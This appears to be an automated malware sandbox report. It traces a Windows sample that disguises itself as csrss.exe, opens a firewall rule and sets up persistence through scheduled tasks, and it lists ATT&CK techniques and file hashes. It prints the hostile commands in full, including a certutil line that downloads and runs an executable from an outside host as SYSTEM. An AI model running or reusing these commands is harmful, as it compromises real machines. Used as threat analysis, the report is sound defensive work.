"C:\Users\Admin\AppData\Local\Temp\5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1.exe"
2⤵
- Windows security bypass
- Loads dropped DLL
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1976

C:\Windows\system32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
PID:840

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Executes dropped EXE
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of AdjustPrivilegeToken
PID:1472

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:1964

C:\Windows\system32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:1748

C:\Windows\system32\makecab.exe
"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129193401.log C:\Windows\Logs\CBS\CbsPersist_20230129193401.cab
1⤵
PID:276

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

1

T1053

Persistence

Modify Existing Service

1

T1031

Registry Run Keys / Startup Folder

1

T1060

Scheduled Task

1

T1053

Privilege Escalation

Scheduled Task

1

T1053

Defense Evasion

Disabling Security Tools

2

T1089

Modify Registry

4

T1112

Install Root Certificate

1

T1130

Credential Access

Discovery

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
af424c205619015d4f10b6f0454400dc

SHA1
fd770c56d4825035ed4bd9aa396fa958d23c5b1d

SHA256
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1

SHA512
f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
af424c205619015d4f10b6f0454400dc

SHA1
fd770c56d4825035ed4bd9aa396fa958d23c5b1d

SHA256
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1

SHA512
f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e

Download Submit
\Windows\rss\csrss.exe
Filesize
3.9MB

MD5
af424c205619015d4f10b6f0454400dc

SHA1
fd770c56d4825035ed4bd9aa396fa958d23c5b1d

SHA256
5fcb3a8f817a21f106aef4b565693051e8739bf7290709e340eac773eb8476e1

SHA512
f9094d8471b2a04bd9ab0b814498f7f2e0c827fed649a1093f728bac97bf80e0506242415ef7a5948377785ecd52d83d6d883f734e04879cac4d90cc7ae1d09e

Download Submit
memory/840-65-0x000007FEFC131000-0x000007FEFC133000-memory.dmp

Filesize
8KB

Download
memory/840-64-0x0000000000000000-mapping.dmp

Download
memory/1056-61-0x0000000000000000-mapping.dmp

Download
memory/1472-69-0x0000000000000000-mapping.dmp

Download
memory/1472-71-0x00000000026A0000-0x0000000002A48000-memory.dmp

Filesize
3.7MB

Download
memory/1472-76-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1472-75-0x00000000026A0000-0x0000000002A48000-memory.dmp

Filesize
3.7MB

Download
memory/1472-74-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1472-73-0x00000000026A0000-0x0000000002A48000-memory.dmp

Filesize
3.7MB

Download
memory/1720-58-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1720-57-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1720-56-0x00000000029B0000-0x00000000031B4000-memory.dmp

Filesize
8.0MB

Download
memory/1720-54-0x0000000002600000-0x00000000029A8000-memory.dmp

Filesize
3.7MB

Download
memory/1720-55-0x0000000002600000-0x00000000029A8000-memory.dmp

Filesize
3.7MB

Download
memory/1720-59-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1976-66-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1976-72-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1976-60-0x00000000024D0000-0x0000000002878000-memory.dmp

Filesize
3.7MB

Download
memory/1976-63-0x0000000000400000-0x0000000000C1E000-memory.dmp

Filesize
8.1MB

Download
memory/1976-62-0x00000000024D0000-0x0000000002878000-memory.dmp

Filesize
3.7MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads